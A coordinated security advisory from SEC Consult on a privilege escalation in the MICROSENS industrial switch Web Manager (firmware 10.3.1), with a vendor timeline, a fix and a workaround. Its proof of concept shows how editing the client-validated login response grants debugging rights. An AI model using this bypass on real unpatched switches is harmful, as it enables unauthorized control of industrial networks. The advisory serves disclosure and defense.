MICROSENS PLMISWM 10.3.1 Privilege Escalation

`SEC Consult Vulnerability Lab Security Advisory < 20140228-0 >  
=======================================================================  
title: Privilege escalation vulnerability  
product: MICROSENS Profi Line Modular Industrial Switch Web  
Manager (MS652119PM)  
vulnerable version: Firmware version 10.3.1  
fixed version: Firmware version 10.3.2  
impact: High  
homepage: http://www.microsens.com/profi-line-modular/  
found: 2013-08-21  
by: Christian Kudera, Stefan Riegler  
SEC Consult Vulnerability Lab  
https://www.sec-consult.com   
=======================================================================  
  
Vendor description:  
-------------------  
"The new Profi Line Modular switches, from MICROSENS, offer maximum  
performance and flexibility in smallest spaces. Robust, modular, expandable  
and designed for greatest reliability and shortest recovery times, the Profi  
Line Modular series has become the first-choice solution for Industrial  
Ethernet."  
  
Source: http://www.microsens.com/profi-line-modular/  
  
  
Business recommendation:  
------------------------  
SEC Consult has identified a privilege escalation in the MICROSENS Web Manager  
in the course of a very limited infrastructure audit. Very little time was  
spent on the affected product.  
  
The Web Manager can be used with read only permission to check the  
configuration on the device (e.g. VLANs, Port status). Additionally the Web  
Manager can be used with read and write permission to configure the device.  
  
Using the identified vulnerability a low privileged user having read only  
permission can elevate his privileges to contain read and write permissions.  
  
  
Vulnerability overview/description:  
-----------------------------------  
The Web Manager contains a login form to authenticate a user. The Web Manager  
offers different levels of privilege (e.g. read only permission, read and  
write permission, debugging permission).  
  
The login attempt is checked through a CGI binary, but the response of the  
binary is validated at the client side via JavaScript. An attacker can  
intercept and modify the response of the binary, thus achieving authentication  
and the desired level of authorization. No further validation is performed by  
the Web Manager.  
  
  
Proof of concept:  
-----------------  
The login generates the following request to the server:  
interf=WEB&bidx=1&unam=root&pawo=&plev=0  
  
This request triggers a CGI binary, which validates the login attempt and  
returns the following response:  
<xml>  
<!-- last change: 17.04.2012 -->  
<!-- returned at uptime of 141056 seconds -->  
<header>  
<version>V0.1</version>  
<user>XYZ</user>  
<date>2012/05/29 17:28:00</date>  
</header>  
  
<response>  
<par name="cmd" type="STRING" >  
<val>login</val>  
</par>  
<par name="result" type="UNSIGNED" >  
<val>255</val>  
</par>  
<par name="lunam" type="STRING" >  
<val>root</val>  
</par>  
<par name="liid" type="STRING" >  
<val>0</val>  
</par>  
<par name="rhost" type="STRING" >  
<val>192.10.100.136</val>  
</par>  
<par name="a_s_b" type="STRING" >  
<val>0_0_1</val>  
</par>  
</response>  
</xml>  
  
The parameter "result" informs the client about the properness of the provided  
login credentials.  
The parameter can correspond to the following values:  
255 login failed  
1 login with read only permission  
2 login with read and write permission  
3 login with debugging permission  
  
For example, if the value of the parameter "result" is changed to 3, the user  
gets logged in with debugging permissions.  
  
  
Vendor contact timeline:  
------------------------  
2013-09-10: Contacting vendor  
2013-09-11: Sending advisory and proof of concept exploit via encrypted  
channel.  
2013-09-11: Vendor acknowledges receipt of advisory.  
2013-10-18: Vendor responds and wants to release update on 2013-10-31.  
2013-10-31: MICROSENS releases fixed version.  
2014-02-07: Conference call: Clarifying pending questions regarding the fixed  
version.  
2014-02-28: SEC Consult releases coordinated security advisory.  
  
  
Solution:  
---------  
Update to the most recent firmware version 10.3.2  
  
  
Workaround:  
-----------  
All accounts with read only permissions should be disabled on the device.  
  
  
Advisory URL:  
-------------  
https://www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm  
  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
SEC Consult Vulnerability Lab  
  
SEC Consult  
Vienna - Bangkok - Frankfurt/Main - Montreal - Singapore - Vilnius  
  
Headquarter:  
Mooslackengasse 17, 1190 Vienna, Austria  
Phone: +43 1 8903043 0  
Fax: +43 1 8903043 15  
  
Mail: research at sec-consult dot com  
Web: https://www.sec-consult.com  
Blog: http://blog.sec-consult.com  
Twitter: https://twitter.com/sec_consult  
  
Interested in working with the experts of SEC Consult?  
Write to [email protected]  
  
EOF Christian Kudera / @2014  
`